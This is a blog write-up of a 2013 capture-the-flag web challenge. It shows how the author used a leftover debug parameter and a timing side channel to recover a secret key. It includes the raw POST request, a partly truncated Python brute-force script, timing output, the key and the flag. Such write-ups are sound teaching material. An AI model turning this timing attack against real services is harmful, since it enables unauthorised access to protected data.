Thursday, October 24, 2013 CTF 2013: Pay TV 200

We were given the challenge "Pay TV" - in the web hacking category. There was no clear objective here, although I knew we were looking for some type of "flag".

After an initial look at the webpage above, I noticed a newspaper on the table with the words "Side Channel Attacks". Researching this, there are many different side channel attacks that usually involve information leaking on the structures of code or crypto-systems (this will become important later). I also found some script that the programmer left in a comment inside a javascript file for the page called "key.js" (seen below).

Knowing this information I then explored the webpage...entering a string into the black box resulted in the following:

So we can see that if we had the right key, it would probably return the flag. On the back-end using Burpsuite, the response from my input looked like this:
{"response": "Wrong key.", "success": false}
Fortunately from key.js I know there is also a "debug" parameter that at some point was sent in the POST request to the /gimmetv page by the developer to debug the webpage.

Sending a POST request that includes a 'debug' parameter produces some interesting results. The POST request looks like this:
'POST /gimmetv HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 26
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

...and returns a response of:
{"start": 1382474251.083596, "end": 1382474251.083652, "response": "Wrong key.", "success": false}
From this we see that the server is now returning UNIX system times...we can infer this to mean the time the server received the POST request to the time it finished the request. So if you send the server a bunch of letters one at a time, the end - start time should be larger for letters that the server actually processed if they are in the string.

I quickly built the following python script to manage this POST request for me and check different alphnumeric inputs under the assumption that the string was capitalized:
import urllib, urllib2, json, string
def main():
    letterlist = string.ascii_uppercase + '0123456789'
    for letter in letterlist:
        url = ''
        values = {'key' : 'REPLACEME' + letter, 'debug' : ''}
        data = urllib.urlencode(values)
        req = urllib2.Request(url, data)
        response = urllib2.urlopen(req)
        response = json.loads(
        print 'REPLACEME' + letter + ": " + str(response['end'] - response['start'])
if __name__ == "__main__":
For REPLACEME, I started with an empty string. The first run returned these results:
A: 0.100333929062
B: 7.20024108887e-05
C: 6.29425048828e-05
D: 3.50475311279e-05
E: 4.10079956055e-05
F: 3.40938568115e-05
G: 3.48091125488e-05
H: 5.60283660889e-05
I: 4.48226928711e-05
J: 3.38554382324e-05
K: 3.2901763916e-05
L: 5.00679016113e-05
M: 4.79221343994e-05
N: 5.41210174561e-05
O: 4.50611114502e-05
P: 6.89029693604e-05
Q: 5.22136688232e-05
R: 0.000123023986816
S: 0.000349998474121
T: 0.000112056732178
U: 0.000273942947388
V: 5.19752502441e-05
W: 3.48091125488e-05
X: 5.69820404053e-05
Y: 4.91142272949e-05
Z: 3.60012054443e-05
0: 5.29289245605e-05
1: 5.10215759277e-05
2: 8.51154327393e-05
3: 6.00814819336e-05
4: 7.20024108887e-05
5: 5.48362731934e-05
6: 3.48091125488e-05
7: 5.50746917725e-05
8: 3.31401824951e-05
9: 0.000118017196655
The 'A' character took the longest to process, and so I added it to the REPLACEME string. Similarly, running the program again generated the next character in the string and I added it to the REPLACEME string. When the times no longer differed, I knew the string was finished.

The final result of running my program was the string "AXMNP93", entering this in the webpage returned the flag! "OH_THAT_ARTWORK!" ~ Hawkeye

1 comment: